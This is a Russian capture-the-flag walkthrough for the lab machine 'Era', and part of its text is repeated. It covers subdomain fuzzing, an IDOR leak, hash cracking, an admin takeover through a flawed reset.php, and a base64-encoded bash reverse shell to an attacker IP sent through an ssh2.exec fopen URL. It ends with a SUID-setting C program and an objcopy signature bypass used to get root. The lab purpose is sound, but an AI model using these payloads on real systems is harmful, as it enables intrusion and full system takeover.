stihl не предоставил(а) никакой дополнительной информации.
Сегодня проэксплуатируем уязвимость IDOR, чтобы получить доступ к чужим файлам, а после изучения исходников воспользуемся функцией смены пароля, чтобы скомпрометировать учетную запись администратора сайта и добиться RCE. Привилегии повысим через уязвимость в мониторе антивируса.
Наша цель — получение прав суперпользователя на машине Era с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень сложности задания — средний.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел два открытых порта:
Главная страница сайта
или Зарегистрируйся.
или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся.
Я предпочитаю легкий и очень быстрый Для просмотра ссылки Войдиили Зарегистрируйся. При запуске указываем следующие параметры:
Запускаем сканер, перечислив все параметры:
Результат сканирования поддоменов
В вывод утилиты попадают все варианты из списка, поэтому стоит настроить фильтр, например по размеру ответа (параметр -fs).
Результат сканирования поддоменов
Получаем новый поддомен, обновляем запись в /etc/hosts и открываем сайт в браузере.
Главная страница сайта
На сайте есть формы авторизации и по учетным данным, и по контрольным вопросам.
Форма авторизации
На сайте ничего интересного найти не удалось, поэтому перейдем к поиску потенциально полезных PHP‑файлов. Я для этого использую Для просмотра ссылки Войдиили Зарегистрируйся.
Для сканирования задаем параметры:
feroxbuster -u Для просмотра ссылки Войдиили Зарегистрируйся -d 1 -t 128 -w php_files_common_5476.txt -C 404
Результат сканирования файлов с помощью feroxbuster
Находим эндпоинт регистрации. Авторизованному пользователю доступно больше возможностей, в том числе управление загруженными файлами.
Содержимое страницы manage.php
После загрузки файла мы получаем ссылку на него. В ней нет никаких отличительных параметров, кроме целочисленного идентификатора файла.
Результат загрузки файла
При переходе по ссылке появляется кнопка для скачивания файла.
Страница скачивания файла
Burp Intruder — вкладка Positions
Burp Intruder — вкладка Payloads
После перебора пяти тысяч идентификаторов получаем три разных результата.
Burp Intruder — результат перебора
Переходим на страницы с найденными идентификаторами и видим, что можно скачать два файла: site-backup-30-08-24.zip и signing.zip.
Страница загрузки файла site-backup-30-08-24.zip
Страница загрузки файла signing.zip
Просматриваем содержимое архива с резервной копией сайта и находим файл базы данных. С помощью Для просмотра ссылки Войдиили Зарегистрируйся открываем таблицу users, откуда получаем шесть хешей паролей.
Содержимое таблицы users
Перебираем найденные хеши с помощью hashcat и подбираем два пароля.
Результат брута хешей
Содержимое файла download.php
Администратор сайта может передать в fopen любой URL, что приводит к LFI и потенциально к RCE. А в файле reset.php реализован механизм изменения контрольных вопросов пользователя (строки 23–38), но нет проверки, от какого пользователя приходит запрос.
Содержимое файла reset.php
Так мы можем изменить ответы на контрольные вопросы администратора.
Изменение ответов на контрольные вопросы
Открываем страницу входа по контрольным вопросам и логинимся от имени администратора.
или Зарегистрируйся. У нас также есть две учетные записи для доступа к FTP-серверу. Там доступны два каталога.
Содержимое FTP-сервера
В каталоге php8.1_conf лежит список модулей для PHP.
Содержимое каталога php8.1_conf
Среди модулей есть ssh2.so. Это расширение предоставляет функции, которые позволяют PHP-скриптам взаимодействовать с удаленными серверами по протоколам SSH и SFTP. Так мы можем запустить листенер (pwncat-cs -lp 4321) и выполнить реверс‑шелл через Для просмотра ссылки Войдиили Зарегистрируйся.
Сессия пользователя yuri
Пароли системных пользователей совпадают с паролями из базы. Меняем пользователя yuri на eric и читаем первый флаг.
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Затем смотрим, что интересного найдется в выводе.
Группа devs имеет права записи в каталог /opt/AV/periodic-checks, а также в файлы monitor и status.log.
Файлы, доступные для записи группе devs
Посмотрим, запускается ли файл monitor в системе. Для отслеживания процессов возьмем утилиту Для просмотра ссылки Войдиили Зарегистрируйся. В выводе видим запуск файла monitor от имени root, но перед этим происходит дамп секции .text_sig из этого файла. Похоже, так проверяется целостность файла перед запуском.
Для просмотра ссылки Войдиили Зарегистрируйся
Пользователь eric состоит в группе devs, значит, мы можем подменять файлы в этом каталоге.
Результат команды id
Но мы можем обойти проверку целостности, если сдампим нужную секцию из исходного файла и добавим ее в свой. В итоге это позволит подменить файл monitor. Скомпилируем код r.c, который назначит файлу командной оболочки S-бит.
Теперь копируем секцию .text_sig из monitor и добавляем ее к нашему файлу, после чего заменяем исходный monitor.
После проверки атрибутов /bin/bas видим установленный S-бит.
Эксплуатация уязвимости
Запускаем:
Флаг рута
И машина захвачена!
Наша цель — получение прав суперпользователя на машине Era с учебной площадки Для просмотра ссылки Войди
warning
Код:
Подключаться к машинам HTB лучше через средства анонимизации и виртуализации. Не делай этого с компьютеров, на которых хранишь важные данные: ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
Код:
10.10.11.79 era.htb
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Сканер нашел два открытых порта:
- 21 — служба FTP;
- 80 — веб‑сервер Nginx 1.18.0.
Точка входа
Сайт — это просто лендинг. Сканирование каталогов и файлов ничего нового не дает, поэтому посканируем поддомены в поисках других сайтов. Для этого используем Для просмотра ссылки ВойдиСправка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки ВойдиЯ предпочитаю легкий и очень быстрый Для просмотра ссылки Войди
- -u — URL;
- -H — HTTP-заголовок;
- -w — словарь (я использую словари из набора Для просмотра ссылки Войди
или Зарегистрируйся); - -t — количество потоков.
Запускаем сканер, перечислив все параметры:
ffuf -u "[URL]http://era.htb/[/URL]" -H 'Host: FUZZ.era.htb' -w subdomains-bitquark-top100000.txt -t 128В вывод утилиты попадают все варианты из списка, поэтому стоит настроить фильтр, например по размеру ответа (параметр -fs).
ffuf -u "[URL]http://era.htb/[/URL]" -H 'Host: FUZZ.era.htb' -w subdomains-bitquark-top100000.txt -t 128 -fs 154Получаем новый поддомен, обновляем запись в /etc/hosts и открываем сайт в браузере.
10.10.11.79 era.htb file.era.htbНа сайте есть формы авторизации и по учетным данным, и по контрольным вопросам.
На сайте ничего интересного найти не удалось, поэтому перейдем к поиску потенциально полезных PHP‑файлов. Я для этого использую Для просмотра ссылки Войди
Для сканирования задаем параметры:
- -u — URL;
- -d — глубина сканирования;
- -t — количество потоков;
- -w — словарь (снова из набора Для просмотра ссылки Войди
или Зарегистрируйся).
feroxbuster -u Для просмотра ссылки Войди
Находим эндпоинт регистрации. Авторизованному пользователю доступно больше возможностей, в том числе управление загруженными файлами.
После загрузки файла мы получаем ссылку на него. В ней нет никаких отличительных параметров, кроме целочисленного идентификатора файла.
При переходе по ссылке появляется кнопка для скачивания файла.
Точка опоры
IDOR
Проверим, есть ли здесь уязвимость IDOR. Для этого переберем целочисленные идентификаторы с помощью Burp Intruder.После перебора пяти тысяч идентификаторов получаем три разных результата.
Переходим на страницы с найденными идентификаторами и видим, что можно скачать два файла: site-backup-30-08-24.zip и signing.zip.
Страница загрузки файла site-backup-30-08-24.zip
Просматриваем содержимое архива с резервной копией сайта и находим файл базы данных. С помощью Для просмотра ссылки Войди
Перебираем найденные хеши с помощью hashcat и подбираем два пароля.
hashcat -m 3200 --username hashes.txt rockyou.txtBroken access control
Просматриваем исходники сайта и замечаем функцию fopen (строка 72) в файле download.php.Администратор сайта может передать в fopen любой URL, что приводит к LFI и потенциально к RCE. А в файле reset.php реализован механизм изменения контрольных вопросов пользователя (строки 23–38), но нет проверки, от какого пользователя приходит запрос.
Так мы можем изменить ответы на контрольные вопросы администратора.
Открываем страницу входа по контрольным вопросам и логинимся от имени администратора.
Продвижение
Теперь у нас есть возможность передать произвольный wrapper в функцию fopen через Для просмотра ссылки ВойдиВ каталоге php8.1_conf лежит список модулей для PHP.
Среди модулей есть ssh2.so. Это расширение предоставляет функции, которые позволяют PHP-скриптам взаимодействовать с удаленными серверами по протоколам SSH и SFTP. Так мы можем запустить листенер (pwncat-cs -lp 4321) и выполнить реверс‑шелл через Для просмотра ссылки Войди
[URL unfurl="true"]http://file.era.htb/download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1/echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xNjMvNDMyMSAwPiYx%20%7C%20base64%20-d%20%7C%20bash;[/URL]Пароли системных пользователей совпадают с паролями из базы. Меняем пользователя yuri на eric и читаем первый флаг.
Локальное повышение привилегий
Теперь нам необходимо собрать информацию, которая пригодится для продвижения. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Затем смотрим, что интересного найдется в выводе.
Группа devs имеет права записи в каталог /opt/AV/periodic-checks, а также в файлы monitor и status.log.
Посмотрим, запускается ли файл monitor в системе. Для отслеживания процессов возьмем утилиту Для просмотра ссылки Войди
Для просмотра ссылки Войди
Пользователь eric состоит в группе devs, значит, мы можем подменять файлы в этом каталоге.
Но мы можем обойти проверку целостности, если сдампим нужную секцию из исходного файла и добавим ее в свой. В итоге это позволит подменить файл monitor. Скомпилируем код r.c, который назначит файлу командной оболочки S-бит.
Код:
#include <stdlib.h>
int main() {
system("chmod u+s /bin/bash");
return 0;
}
gcc r.c -o r
Теперь копируем секцию .text_sig из monitor и добавляем ее к нашему файлу, после чего заменяем исходный monitor.
Код:
objcopy --dump-section .text_sig=sig /opt/AV/periodic-checks/monitor
objcopy --add-section .text_sig=sig r
chmod +x r
cp r monitor
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.Запускаем:
/bin/bash -pИ машина захвачена!